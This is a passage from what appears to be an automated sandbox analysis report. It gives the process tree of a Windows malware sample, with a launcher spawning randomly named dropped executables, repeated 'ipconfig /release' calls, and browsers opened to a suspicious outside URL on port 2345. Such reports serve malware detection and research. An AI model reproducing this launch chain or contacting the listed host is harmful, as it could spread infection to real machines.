      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3708
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoigaytqlj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4328
  - - C:\Temp\qoigaytqlj.exe
      C:\Temp\qoigaytqlj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3772
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5692
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1048
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoigaytqlj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1840
  - - C:\Temp\i_qoigaytqlj.exe
      C:\Temp\i_qoigaytqlj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4568
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtnlfdxsqk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3100
  - - C:\Temp\vtnlfdxsqk.exe
      C:\Temp\vtnlfdxsqk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:920
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5572
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3148
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtnlfdxsqk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4724
  - - C:\Temp\i_vtnlfdxsqk.exe
      C:\Temp\i_vtnlfdxsqk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:716
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\kifaxvsnki.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5596
  - - C:\Temp\kifaxvsnki.exe
      C:\Temp\kifaxvsnki.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4816
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4916
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2692
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_kifaxvsnki.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3708
  - - C:\Temp\i_kifaxvsnki.exe
      C:\Temp\i_kifaxvsnki.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2284
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hecausmkec.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4084
  - - C:\Temp\hecausmkec.exe
      C:\Temp\hecausmkec.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4608
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4316
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:836
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hecausmkec.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5672
  - - C:\Temp\i_hecausmkec.exe
      C:\Temp\i_hecausmkec.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2620
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mhfzxrpjhc.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3284
  - - C:\Temp\mhfzxrpjhc.exe
      C:\Temp\mhfzxrpjhc.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3836
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:6088
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2328
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mhfzxrpjhc.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:720
  - - C:\Temp\i_mhfzxrpjhc.exe
      C:\Temp\i_mhfzxrpjhc.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3656
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jhbztrmjec.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2516
  - - C:\Temp\jhbztrmjec.exe
      C:\Temp\jhbztrmjec.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5668
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3700
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4804
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jhbztrmjec.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2812
  - - C:\Temp\i_jhbztrmjec.exe
      C:\Temp\i_jhbztrmjec.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3544
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bwuomjebzw.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1116
  - - C:\Temp\bwuomjebzw.exe
      C:\Temp\bwuomjebzw.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:6076
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5324
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4820
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bwuomjebzw.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5068
  - - C:\Temp\i_bwuomjebzw.exe
      C:\Temp\i_bwuomjebzw.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4768
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtqljgeywq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:984
  - - C:\Temp\vtqljgeywq.exe
      C:\Temp\vtqljgeywq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1552
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5092
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1120
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtqljgeywq.exe ups_ins
    3⤵
    PID:4144
  - - C:\Temp\i_vtqljgeywq.exe
      C:\Temp\i_vtqljgeywq.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2964
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ytqljgaytq.exe ups_run
    3⤵
    PID:4632
  - - C:\Temp\ytqljgaytq.exe
      C:\Temp\ytqljgaytq.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1332
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4124
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4864
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ytqljgaytq.exe ups_ins
    3⤵
    PID:4680
  - - C:\Temp\i_ytqljgaytq.exe
      C:\Temp\i_ytqljgaytq.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2804
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gaysqlidav.exe ups_run
    3⤵
    PID:2196
  - - C:\Temp\gaysqlidav.exe
      C:\Temp\gaysqlidav.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4400
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:864
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5196
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gaysqlidav.exe ups_ins
    3⤵
    PID:468
  - - C:\Temp\i_gaysqlidav.exe
      C:\Temp\i_gaysqlidav.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6096
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ysqkicavsn.exe ups_run
    3⤵
    PID:5532
  - - C:\Temp\ysqkicavsn.exe
      C:\Temp\ysqkicavsn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5412
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2716
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2024
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ysqkicavsn.exe ups_ins
    3⤵
    PID:4164
  - - C:\Temp\i_ysqkicavsn.exe
      C:\Temp\i_ysqkicavsn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4560
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pnkfcaxspn.exe ups_run
    3⤵
    PID:5592
  - - C:\Temp\pnkfcaxspn.exe
      C:\Temp\pnkfcaxspn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1564
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2524
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:836
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pnkfcaxspn.exe ups_ins
    3⤵
    PID:3108
  - - C:\Temp\i_pnkfcaxspn.exe
      C:\Temp\i_pnkfcaxspn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2544
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\upmhfzxspk.exe ups_run
    3⤵
    PID:4976
  - - C:\Temp\upmhfzxspk.exe
      C:\Temp\upmhfzxspk.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5604
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3164
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2372
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_upmhfzxspk.exe ups_ins
    3⤵
    PID:1168
  - - C:\Temp\i_upmhfzxspk.exe
      C:\Temp\i_upmhfzxspk.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4412
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cwuomheczu.exe ups_run
    3⤵
    PID:1120
  - - C:\Temp\cwuomheczu.exe
      C:\Temp\cwuomheczu.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4204
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2392
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1124
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cwuomheczu.exe ups_ins
    3⤵
    PID:4884
  - - C:\Temp\i_cwuomheczu.exe
      C:\Temp\i_cwuomheczu.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4384
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wrojhbztro.exe ups_run
    3⤵
    PID:6064
  - - C:\Temp\wrojhbztro.exe
      C:\Temp\wrojhbztro.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2472
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1732
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4560
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wrojhbztro.exe ups_ins
    3⤵
    PID:5576
  - - C:\Temp\i_wrojhbztro.exe
      C:\Temp\i_wrojhbztro.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2816
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\olgebwtroj.exe ups_run
    3⤵
    PID:3096
  - - C:\Temp\olgebwtroj.exe
      C:\Temp\olgebwtroj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1076
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3176
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3488
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_olgebwtroj.exe ups_ins
    3⤵
    PID:264
  - - C:\Temp\i_olgebwtroj.exe
      C:\Temp\i_olgebwtroj.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1612
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4728
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ffec25dc188,0x7ffec25dc194,0x7ffec25dc1a0
      4⤵
      PID:2532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1920,i,16372773403181737517,12188256197296191233,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=2844 /prefetch:11
      4⤵
      System Time Discovery
      PID:5116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1708,i,15872216458671188262,17973889762439487106,262144 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:2
      4⤵
      PID:5924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2336,i,12605288666636510285,584144559308260944,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:13
      4⤵
      PID:828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3636,i,1949194870617415920,1297612167487800137,2097152 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:1
      4⤵
      PID:4084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3644,i,12056921599571251300,12652287631695990742,2097152 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=3668 /prefetch:1
      4⤵
      PID:4280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4332,i,11836535793227854440,14997527595080746253,2097152 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=4684 /prefetch:1
      4⤵
      PID:4832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4348,i,2601698031682844108,10041730445181338044,2097152 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=4696 /prefetch:9
      4⤵
      PID:3512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5448,i,1259554897216397780,16758755477140015745,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:14
      4⤵
      PID:4332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5556,i,4842762728827743981,1144878792427831226,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14
      4⤵
      PID:4472
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5560,i,16476525627762285672,15676560819946017747,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:14
      4⤵
      PID:3556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6032,i,9949495985139768528,18156955478064690500,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:14
      4⤵
      PID:5068
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6032,i,9949495985139768528,18156955478064690500,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:14
      4⤵
      PID:2972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6160,i,4785767378494201201,6091220826424911831,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:14
      4⤵
      PID:1904
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5800,i,9043287620017564032,17687834853265341601,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:14
      4⤵
      PID:1732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4720,i,3523811400594251907,10812451233280884295,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:14
      4⤵
      PID:1200
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4620,i,17642107959234758353,14968148667811939457,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:14
      4⤵
      PID:2944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5404,i,8186926807785200163,14001722413728909578,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=6212 /prefetch:14
      4⤵
      PID:1088
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3432,i,6485285673859595790,133447138407231860,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=3096 /prefetch:14
      4⤵
      PID:2492
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5288,i,5848457296165818313,7428724874667894885,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=4620 /prefetch:14
      4⤵
      PID:4412
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5876,i,5051897043603328967,3063441956731603445,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=5296 /prefetch:14
      4⤵
      PID:760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6424,i,3768661922586376317,18185393950583581167,524288 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:14
      4⤵
      PID:5416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=3596,i,15612044993924602520,648582093140574885,262144 --field-trial-handle=2344,i,11312549577344070281,11394416730257310729,262144 --variations-seed-version --mojo-platform-channel-handle=5232 /prefetch:10
      4⤵
      PID:1192

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
